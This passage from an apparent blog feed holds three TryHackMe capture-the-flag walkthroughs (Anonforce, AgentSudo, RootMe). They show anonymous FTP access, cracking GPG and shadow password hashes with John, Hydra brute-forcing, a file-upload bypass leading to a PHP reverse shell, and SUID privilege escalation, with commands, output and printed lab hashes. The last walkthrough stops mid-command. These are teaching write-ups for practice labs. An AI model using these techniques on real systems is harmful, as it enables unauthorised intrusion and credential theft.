vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)<br>|   256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)<br>|_  256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 28.54 seconds</pre><p>Looks like we have ports 21, and 22 open. Port 21 is misconfigured here, we have access to the machine file system via FTP.</p><p>Let’s access the machine using FTP by logging in as anonymous and search for some interesting data.</p><pre><br>ftp anon.thm<br><br>Connected to anon.thm.<br>220 (vsFTPd 3.0.3)<br>Name (anon.thm:kali): anonymous<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||53908|)<br>150 Here comes the directory listing.<br>drwxr-xr-x    2 0        0            4096 Aug 11  2019 bin<br>drwxr-xr-x    3 0        0            4096 Aug 11  2019 boot<br>drwxr-xr-x   17 0        0            3700 Jan 01 02:21 dev<br>drwxr-xr-x   85 0        0            4096 Aug 13  2019 etc<br>drwxr-xr-x    3 0        0            4096 Aug 11  2019 home<br>lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img -&gt; boot/initrd.img-4.4.0-157-generic<br>lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img.old -&gt; boot/initrd.img-4.4.0-142-generic<br>drwxr-xr-x   19 0        0            4096 Aug 11  2019 lib<br>drwxr-xr-x    2 0        0            4096 Aug 11  2019 lib64<br>drwx------    2 0        0           16384 Aug 11  2019 lost+found<br>drwxr-xr-x    4 0        0            4096 Aug 11  2019 media<br>drwxr-xr-x    2 0        0            4096 Feb 26  2019 mnt<br>drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread<br>drwxr-xr-x    2 0        0            4096 Aug 11  2019 opt<br>dr-xr-xr-x   83 0        0               0 Jan 01 02:21 proc<br>drwx------    3 0        0            4096 Aug 11  2019 root<br>drwxr-xr-x   18 0        0             540 Jan 01 02:21 run<br>drwxr-xr-x    2 0        0           12288 Aug 11  2019 sbin<br>drwxr-xr-x    3 0        0            4096 Aug 11  2019 srv<br>dr-xr-xr-x   13 0        0               0 Jan 01 02:21 sys<br>drwxrwxrwt    9 0        0            4096 Jan 01 02:21 tmp<br>drwxr-xr-x   10 0        0            4096 Aug 11  2019 usr<br>drwxr-xr-x   11 0        0            4096 Aug 11  2019 var<br>lrwxrwxrwx    1 0        0              30 Aug 11  2019 vmlinuz -&gt; boot/vmlinuz-4.4.0-157-generic<br>lrwxrwxrwx    1 0        0              30 Aug 11  2019 vmlinuz.old -&gt; boot/vmlinuz-4.4.0-142-generic<br>226 Directory send OK.<br>ftp&gt; <br><br></pre><p>Let’s first head over to /home directory and check for users.</p><pre>ftp&gt; cd home<br>250 Directory successfully changed.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||54729|)<br>150 Here comes the directory listing.<br>drwxr-xr-x    4 1000     1000         4096 Aug 11  2019 melodias<br>226 Directory send OK.<br>ftp&gt; cd melodias<br>250 Directory successfully changed.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||26702|)<br>150 Here comes the directory listing.<br>-rw-rw-r--    1 1000     1000           33 Aug 11  2019 user.txt<br>226 Directory send OK.<br>ftp&gt;</pre><p>Here, we found a user named melodias and in his directory, we can see there is a user.txt file.</p><p>As we are in the FTP connection we can’t use the cat command. So we need to download the file using the get &lt;filename&gt; command.</p><pre>ftp&gt; get user.txt<br>local: user.txt remote: user.txt<br>229 Entering Extended Passive Mode (|||26829|)<br>150 Opening BINARY mode data connection for user.txt (33 bytes).<br>100% |*************************************************************************************************************************************|    33        3.90 KiB/s    00:00 ETA<br>226 Transfer complete.<br>33 bytes received in 00:00 (0.06 KiB/s)<br>ftp&gt;</pre><p>Now the next task is to find the root.txt.</p><h3>Privilege Escalation</h3><p>We can see that there is one odd directory with an unusual size compared to other files, notread .</p><pre>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||58462|)<br>150 Here comes the directory listing.<br>drwxr-xr-x    2 0        0            4096 Aug 11  2019 bin<br>drwxr-xr-x    3 0        0            4096 Aug 11  2019 boot<br>drwxr-xr-x   17 0        0            3700 Jan 01 02:21 dev<br>drwxr-xr-x   85 0        0            4096 Aug 13  2019 etc<br>drwxr-xr-x    3 0        0            4096 Aug 11  2019 home<br>lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img -&gt; boot/initrd.img-4.4.0-157-generic<br>lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img.old -&gt; boot/initrd.img-4.4.0-142-generic<br>drwxr-xr-x   19 0        0            4096 Aug 11  2019 lib<br>drwxr-xr-x    2 0        0            4096 Aug 11  2019 lib64<br>drwx------    2 0        0           16384 Aug 11  2019 lost+found<br>drwxr-xr-x    4 0        0            4096 Aug 11  2019 media<br>drwxr-xr-x    2 0        0            4096 Feb 26  2019 mnt<br>drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread<br>drwxr-xr-x    2 0        0            4096 Aug 11  2019 opt<br>dr-xr-xr-x   83 0        0               0 Jan 01 02:21 proc<br>drwx------    3 0        0            4096 Aug 11  2019 root<br>drwxr-xr-x   18 0        0             540 Jan 01 02:21 run<br>drwxr-xr-x    2 0        0           12288 Aug 11  2019 sbin<br>drwxr-xr-x    3 0        0            4096 Aug 11  2019 srv<br>dr-xr-xr-x   13 0        0               0 Jan 01 02:21 sys<br>drwxrwxrwt    9 0        0            4096 Jan 01 02:21 tmp<br>drwxr-xr-x   10 0        0            4096 Aug 11  2019 usr<br>drwxr-xr-x   11 0        0            4096 Aug 11  2019 var<br>lrwxrwxrwx    1 0        0              30 Aug 11  2019 vmlinuz -&gt; boot/vmlinuz-4.4.0-157-generic<br>lrwxrwxrwx    1 0        0              30 Aug 11  2019 vmlinuz.old -&gt; boot/vmlinuz-4.4.0-142-generic<br>226 Directory send OK.<br>ftp&gt; cd notread<br>250 Directory successfully changed.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||20020|)<br>150 Here comes the directory listing.<br>-rwxrwxrwx    1 1000     1000          524 Aug 11  2019 backup.pgp<br>-rwxrwxrwx    1 1000     1000         3762 Aug 11  2019 private.asc<br>226 Directory send OK.<br>ftp&gt;</pre><p>Inside notread directory there are two files, backup.pgp and private.asc .</p><p>Let’s download them on our local system and see what’s inside them.</p><pre>ftp&gt; get backup.pgp<br>local: backup.pgp remote: backup.pgp<br>229 Entering Extended Passive Mode (|||53159|)<br>150 Opening BINARY mode data connection for backup.pgp (524 bytes).<br>100% |*************************************************************************************************************************************|   524       11.35 MiB/s    00:00 ETA<br>226 Transfer complete.<br>524 bytes received in 00:00 (1.10 KiB/s)<br>ftp&gt; get private.asc<br>local: private.asc remote: private.asc<br>229 Entering Extended Passive Mode (|||27131|)<br>150 Opening BINARY mode data connection for private.asc (3762 bytes).<br>100% |*************************************************************************************************************************************|  3762        1.35 MiB/s    00:00 ETA<br>226 Transfer complete.<br>3762 bytes received in 00:00 (5.73 KiB/s)<br>ftp&gt;</pre><p>The file is encrypted, so we should start by using the gpg command, to try and import the private.asc file. But we failed, it required the passphrase.</p><pre> gpg --import private.asc<br>gpg: key B92CD1F280AD82C2: &quot;anonforce &lt;melodias@anonforce.nsa&gt;&quot; not changed<br>gpg: key B92CD1F280AD82C2/B92CD1F280AD82C2: error sending to agent: Operation cancelled<br>gpg: error reading &#39;private.asc&#39;: Operation cancelled<br>gpg: import from &#39;private.asc&#39; failed: Operation cancelled<br>gpg: Total number processed: 0<br>gpg:              unchanged: 1<br>gpg:       secret keys read: 1</pre><p>We can attempt to hash the file and run it through John. First, we need gpg2john to convert the file into a format that John can understand.</p><pre><br> gpg2john private.asc &gt; hashcrack<br><br>Created directory: /home/kali/.john<br><br>File private.asc</pre><p>Now we have to pass the newly created hash to John and rockyou.txt wordlist for cracking.</p><pre>john hashcrack --wordlist=/usr/share/wordlists/rockyou.txt   <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])<br>Cost 1 (s2k-count) is 65536 for all loaded hashes<br>Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes<br>Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes<br>Will run 2 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>xbox360          (anonforce)     <br>1g 0:00:00:00 DONE (2025-01-01 06:07) 12.50g/s 11625p/s 11625c/s 11625C/s xbox360..sheena<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed. </pre><p>We got our passcode. Now we can easily import the private.asc key.</p><pre>gpg backup.pgp          <br>gpg: WARNING: no command supplied.  Trying to guess what you mean ...<br>gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences<br>gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12<br>      &quot;anonforce &lt;melodias@anonforce.nsa&gt;&quot;<br>┌──(kali㉿kali)-[~]<br>└─$ ls<br>backup  backup.pgp  Desktop  Documents  Downloads  hashcrack  Music  Pictures  private.asc  Public  Templates  user.txt  Videos</pre><pre>cat backup    <br>root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::<br>daemon:*:17953:0:99999:7:::<br>bin:*:17953:0:99999:7:::<br>sys:*:17953:0:99999:7:::<br>sync:*:17953:0:99999:7:::<br>games:*:17953:0:99999:7:::<br>man:*:17953:0:99999:7:::<br>lp:*:17953:0:99999:7:::<br>mail:*:17953:0:99999:7:::<br>news:*:17953:0:99999:7:::<br>uucp:*:17953:0:99999:7:::<br>proxy:*:17953:0:99999:7:::<br>www-data:*:17953:0:99999:7:::<br>backup:*:17953:0:99999:7:::<br>list:*:17953:0:99999:7:::<br>irc:*:17953:0:99999:7:::<br>gnats:*:17953:0:99999:7:::<br>nobody:*:17953:0:99999:7:::<br>systemd-timesync:*:17953:0:99999:7:::<br>systemd-network:*:17953:0:99999:7:::<br>systemd-resolve:*:17953:0:99999:7:::<br>systemd-bus-proxy:*:17953:0:99999:7:::<br>syslog:*:17953:0:99999:7:::<br>_apt:*:17953:0:99999:7:::<br>messagebus:*:18120:0:99999:7:::<br>uuidd:*:18120:0:99999:7:::<br>melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::<br>sshd:*:18120:0:99999:7:::<br>ftp:*:18120:0:99999:7:::                                                           </pre><p>We got a backup file. From the content of the file, it is a /etc/shadow file backup.</p><p>We also have the root password hash. Let’s save that hash into a file and then run John.</p><pre>sudo nano file.txt         <br>┌──(kali㉿kali)-[~]<br>└─$ ls<br>backup  backup.pgp  Desktop  Documents  Downloads  file.txt  hashcrack  Music  Pictures  private.asc  Public  Templates  user.txt  Videos<br>┌──(kali㉿kali)-[~]<br>└─$ john file.txt --wordlist=/usr/share/wordlists/rockyou.txt <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])<br>Cost 1 (iteration count) is 5000 for all loaded hashes<br>Will run 2 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>hikari           (?)     <br>1g 0:00:00:05 DONE (2025-01-01 06:14) 0.1934g/s 1312p/s 1312c/s 1312C/s 98765432..random1<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><p>We got our password. Let’s try to log in as root via SSH.</p><pre>ssh root@anon.thm <br>The authenticity of host &#39;anon.thm (10.10.129.163)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:+bhLW3R5qYI2SvPQsCWR9ewCoewWWvFfTVFQUAGr+ew.<br>This key is not known by any other names<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;anon.thm&#39; (ED25519) to the list of known hosts.<br>root@anon.thm&#39;s password: <br>Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br>The programs included with the Ubuntu system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in /usr/share/doc/*/copyright.<br><br>Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by<br>applicable law.<br><br>root@ubuntu:~# ls<br>root.txt<br>root@ubuntu:~# </pre><p>root.txt.</p><p>If you like my write-up, make sure to follow me for more updates. Don’t forget to leave a comment on what you think about this write-up.</p><p><strong>Connect with me: </strong><a href="https://x.com/a_m_kokate"><strong>x.com</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ef0bdd3dbbae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AgentSudo — Tryhackme]]></title>
            <link>https://medium.com/@cybersecuritywithme/agentsudo-tryhackme-f3030f68606b?source=rss-218187aa8b0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3030f68606b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[cybersecuritywithme]]></dc:creator>
            <pubDate>Sun, 02 Jun 2024 00:31:35 GMT</pubDate>
            <atom:updated>2025-01-03T06:14:05.134Z</atom:updated>
            <content:encoded><![CDATA[<h3>AgentSudo — Tryhackme</h3><p>Walkthrough</p><h3>Agent Sudo</h3><p><em>You found a secret server located under the deep sea. Your task is to hack inside the server and reveal the truth.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ebg1ERSqzdOhBby0J2FDEA.png" /><figcaption>IMG 0.1</figcaption></figure><p><strong>Task 1: Deploy the machine</strong></p><p>Connect to the TryHackMe network and deploy the RootMe machine. For assistance use <a href="https://tryhackme.com/room/openvpn">OpenVPN</a> Room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*-azOL15UbbiPFnyoT3DDwA.png" /></figure><h4><strong>Enumeration</strong></h4><blockquote>There are questions that authors expect us to solve, so the enumeration is based on them.</blockquote><p>Let’s start with finding how many ports are open.</p><pre>Sudo nmap -sS 10.10.47.91</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EItQRLZaWIO_O21x7K6m8Q.png" /><figcaption>Nmap 0.1</figcaption></figure><p>Ports 21/tcp, 22/tcp, and 80/tcp are active and accessible on this machine. Port 80/tcp is hosting a web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KXu4bhWSxzjfFneRhpH4OQ.png" /><figcaption>web 0.1</figcaption></figure><p>Agent R&#39;s message indicates that each agent is assigned a codename, likely a single letter, as the signature suggests. This codename will be used as the user-agent when accessing a particular site. I tried to inspect the site’s source code but couldn’t find anything. The next step is to intercept the request and modify the user-agent accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKPFg8RDBFLqMQsGKlg0aw.png" /><figcaption>burp suite 0.1</figcaption></figure><p>We discovered three different codenames showing different responses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d8tlB8cGPN_YISzkvGu-LQ.png" /><figcaption>burp suite 0.2</figcaption></figure><p>When we use the User-agent C. we are redirected to /agent_C_attention.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HbO3jWtFbf4uUgG-GwRBrg.png" /><figcaption>burp suite 0.3</figcaption></figure><p>On codename R we encounter a message indicating an intention to report this incident, along with revealing there are 25 employees within the organization.</p><p>Let’s go to the path /agent_C_attention.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c5lQmoIPKJ6QEOJ4SA8fdw.png" /><figcaption>web 0.2</figcaption></figure><p>Now that we have the username Chris It’s believed to have a weak password, we can proceed to perform a brute-force on the FTP server using Hydra.</p><pre>hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.10.102.24 ftp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zkhFXljZe3UJjC_zWwfN-Q.png" /><figcaption>hydra 0.1</figcaption></figure><p>Now we know the password for the agent, we successfully accessed the FTP server. Within, we discover three files: Two images and one text file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lGur3aaojyrZfO_cIcW9Rw.png" /><figcaption>FTP 0.1</figcaption></figure><p>Let’s download those files into our machine. We will utilize the mget command for efficiency.</p><pre>mget *</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LJOTTqwGfOC_ek4xtCcxwg.png" /><figcaption>FTP 0.2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i63i0M06iI5BQ7t21Qp5eg.png" /><figcaption>file 0.1</figcaption></figure><p>First, let’s inspect the contents of the To_agentJ.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*VHw6XS2cq1PthGygWQ9uFg.png" /><figcaption>txt 0.2</figcaption></figure><p>After reading we conclude that those images contain a login credential hidden in them. We attempted to extract hidden information using Steghide and also checked the ‘cutie.png’ file with Exiftool but no relevant data surfaced. Then I tried binwalk tool and it popped an error. Which shows that there is a zip file inside. Then I attempted to extract the file using 7zip which prompted a password entry. So the file is password protected. First, we extracted that zip file using binwalk .</p><pre>binwalk cutie.png -e </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oGRu-LkzQzGXDvQ0E-MNkQ.png" /><figcaption>binwalk 0.1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1mwpbk6fvPFRMf7Y2X9pRw.png" /><figcaption>binwalk 0.2</figcaption></figure><p>We extracted the folder that contains a zip file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DUHv1_bKlg0DjMrA5qgnMw.png" /><figcaption>zip 0.1</figcaption></figure><p>We can try brute-force the encrypted zip file using John the Ripper. We will first need to covert the zip file into a format compatible with John the Ripper, which can be achieved by using zip2john .</p><pre>zip2john 8702.zip &gt; 8702.hash</pre><pre>john 8702.hash --wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PtQsdDfKbyHOR4MwrDXcgQ.png" /></figure><p>We got the password of the zip file, we can now use 7Zip to extract the zip file contain.</p><pre>7z e 8702.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*X5zvw5Hj7faQQXY9XyMcXg.png" /><figcaption>7z 0.1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*ule69DiLi_-boR37FvwlEQ.png" /><figcaption>txt 0.3</figcaption></figure><p>We decoded the message QXJlYTUx using CyberChef. It recommended auto-decoding using Bash64.</p><p><a href="https://gchq.github.io/CyberChef/">CyberChef</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxX1bhuD18CBmq7pKIedEg.png" /><figcaption>CC 0.1</figcaption></figure><p>It appears the only remaining file is our .jpg image. Steghide is frequently utilized to conceal data within jpg files using a passphrase. This might explain why one of the questions prompts us for the steg password.</p><p>After running steghide it asks for the passphrase</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*xzDj2Aca6QvqUfdg5s8IrA.png" /><figcaption>steghide 0.1</figcaption></figure><p>let’s brute-force it. We are using the Stegcracker tool for that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mZ_gTV4ZE9pYrKSqLpRDkg.png" /><figcaption>stegcracker 0.1</figcaption></figure><p>While running the test, it takes considerable time. During that period, I reviewed the findings accumulated thus far, and suddenly it dawned on me. ‘Area51’ might be the password. I stopped the test and attempted Area 51 as the passphrase and it worked.</p><p>And there we found that there is a file name message.txt inside it. So I extract it using the steghide tool.</p><pre>steghide extract -sf cute-alien.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSMFf53vso64US86ay1pzw.png" /><figcaption>steghide 0.2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*Gp-LVjNoIHUnIrQhicySZQ.png" /><figcaption>txt 0.3</figcaption></figure><p>I logged in through SSH into the machine using the username and password that we found. And there we found the user.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZIdACt4C-_S48wmHHtWROQ.png" /><figcaption>ssh 0.1</figcaption></figure><p>Also, there is a .jpg image. We can download it using SCP.</p><pre>scp -r james@10.10.202.123:Alien_autospy.jpg .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_O-ouekcr3V8Pav6ypg0cA.png" /><figcaption>scp 0.1</figcaption></figure><p>If accessing the image fails. Then setting an HTTP server to extract the image can be an effective alternative approach.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WGlcsjU0-FnGcSk7QIfL-w.png" /><figcaption>HTTP.server 0.1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LHFl_aHQiz6pKbZfu-PoLg.png" /><figcaption>web 0.3</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCr5Gighun43Ofk7rd3oGw.png" /><figcaption>web 0.4</figcaption></figure><p>Now, search for the name of the image on Google. We find our answer there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WKB6AJOWDKC6bKqiXKrLjw.png" /><figcaption>web 0.5</figcaption></figure><h4>Privilege Escalation</h4><p>Now, we need to get a root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QZ_3yGDkRB1wB3bCcfVTbg.png" /><figcaption>root 0.1</figcaption></figure><p>Using sudo -l we checked the permission. It shows that the user doesn&#39;t have permission to run /bin/bash as root since we have !root. There might be a way to exploit it. Some Google searches return us something we might be able to use to gain root privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MTc2TofhpM12HaLt3mne3w.png" /><figcaption>ex 0.1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q54ClR5s73vMxRuDEKkN-w.png" /><figcaption>ex 0.2</figcaption></figure><p>Now, let’s try to exploit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*HdXzmGZo8qAnmtr-j4F3Ow.png" /><figcaption>ex 0.3</figcaption></figure><p>We got the root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vyqHgPgitpGmhsIvB332AQ.png" /><figcaption>txt 0.4</figcaption></figure><p>If you like my write-up, make sure to follow me for more updates.</p><p><strong>Connect with me: </strong><a href="https://x.com/a_m_kokate"><strong>x.com</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3030f68606b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RootMe -TryHackMe]]></title>
            <link>https://medium.com/@cybersecuritywithme/rootme-tryhackme-5329541fb0f?source=rss-218187aa8b0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/5329541fb0f</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[root-me]]></category>
            <dc:creator><![CDATA[cybersecuritywithme]]></dc:creator>
            <pubDate>Thu, 30 Mar 2023 00:32:02 GMT</pubDate>
            <atom:updated>2025-01-03T06:11:02.321Z</atom:updated>
            <content:encoded><![CDATA[<p>A CTF for beginners, can you root me?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*aDHAQcBOiPjgM7hx8-LyXQ.png" /></figure><p><strong>Task 1: Deploy the machine</strong></p><p>Connect to the TryHackMe network and deploy the RootMe machine. For assistance used <a href="https://tryhackme.com/room/openvpn">OpenVPN</a> Room.</p><p><strong>Task 2: Reconnaissance</strong></p><p>We have to start with reconnaissance, basically, we have to find information about the target. Let’s start with finding which ports are active and what the service open ports are running. For that, we are using Nmap.</p><p><a href="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwjA8ryPiMz9AhVYxTgGHU-eDtIQFnoECAsQAQ&amp;url=https%3A%2F%2Fnmap.org%2F&amp;usg=AOvVaw3VbFWhboEWZ5njba0KMQQX">Nmap: the Network Mapper - Free Security Scanner</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*JCtz0n-8C6pBGOlSUckgSw.png" /><figcaption>Nmap</figcaption></figure><pre>nmap -sV -sC 10.10.163.192</pre><p><strong>Task 3: Getting a shell</strong></p><p>First, visit the website and find the web. We didn’t find anything from the web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zcq9mXZf4CEwU3c-nMG1vw.png" /><figcaption>Firefox</figcaption></figure><p>For Directory brute forcing we are using gobuster and for the payload, we are using /user/share/wordlists/dirb/common.text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*zTWYv6c6uOE8c_1xUn_AMA.png" /><figcaption>gobuster</figcaption></figure><blockquote>Note: If you are using a long payload and you are getting random errors during brute force you can use the 2&gt; /dev/null at the end is used to redirect any errors that might occur during the brute forcing process to /dev/null (NULL is a special device on Linux that destroys any data that is sent to it)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XfaJ223Sza6o_Z4xGt1JRQ.png" /><figcaption>Firefox 0.2</figcaption></figure><p>After our directory brute force, we find some of the directories. The most important directories we find are /panel and /uploads .</p><p>The panel page contains an upload section where we can upload files. Then try to upload a file and see if it’s working</p><p>And it’s working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lbHeVrNU5a4KW_QEh80Qxg.png" /><figcaption>Firefox 0.3</figcaption></figure><p>Let’s try other file extensions if it works then we would send the shell file and exploit this functionality.</p><p>We got an error when we try to upload the .php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OasqgtfP21huQtwf4ePaKQ.png" /><figcaption>Firefox 0.4</figcaption></figure><p>Now we have to figure out what extension this site allows or denied. To do that we are using a Burp Suit. First, we are going to intercept the request and then use the payload to brute force the extension in the upload.</p><p>We capture burp requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KHWRfhmEJ4E0K69NFy807g.png" /><figcaption>burp suit 0.1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cVPUULhw2_ma-Sd_WH90bA.png" /><figcaption>burp suit 0.2</figcaption></figure><p>To brute force extension, we find a payload list from</p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst">PayloadsAllTheThings/Upload Insecure Files/Extension PHP/extensions.lst at master · swisskyrepo/PayloadsAllTheThings</a></p><p>After brute-forcing the extension, we got the list of extensions that the target site allows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*idiU1pY2QmlPM4pAvLPAyQ.png" /><figcaption>burp suit 0.3</figcaption></figure><p><strong>Task 3: Getting a shell</strong></p><p>We are using the PHP payload and just changing the extension to php5 or other extensions that we found.</p><p>Payload, we are using</p><blockquote>Note: Make sure that you change the hostname and port number before uploading the file.</blockquote><p><a href="https://pentestmonkey.net/tools/web-shells/php-reverse-shell">php-reverse-shell</a></p><p>We successfully upload the file. And to make sure that the file is uploaded go to the /uploads to check if our file is there or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mj9HcOaAPa1rnn4dJT_CfQ.png" /><figcaption>Firefox 0.6</figcaption></figure><p>Open your terminal and run the nc -nlvp 1234 , Now we are listening on port 1234.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*tH4kBXn9PPxrZI0eKPqcgw.png" /><figcaption>t 0.1</figcaption></figure><p>Now, go to the /uploads page and click on the payload that we uploaded. After clicking on that payload, Check your terminal. You get the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*hdTnPO7nhu8ZPSqNVB0KfQ.png" /><figcaption>t 0.2</figcaption></figure><p>To find the flag we are using find the command. You can use the help menu to see what are the option does find command have or you can use the below command as it is to find the user flag.</p><p>find / -type f -i name user.txt 2&gt;/dev/null</p><p>Privilege escalation</p><p>To look for the files with SUID permission we can use the command:<br> find / -type f -user root -perm -4000 2&gt;/dev/null</p><p>We have the /usr/bin/python with SUID permission, we will try to escalate our privileges.</p><p>For the Payload to go to <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> and look for possible privilege escalation commands for elevating the privileges.</p><p>python -c 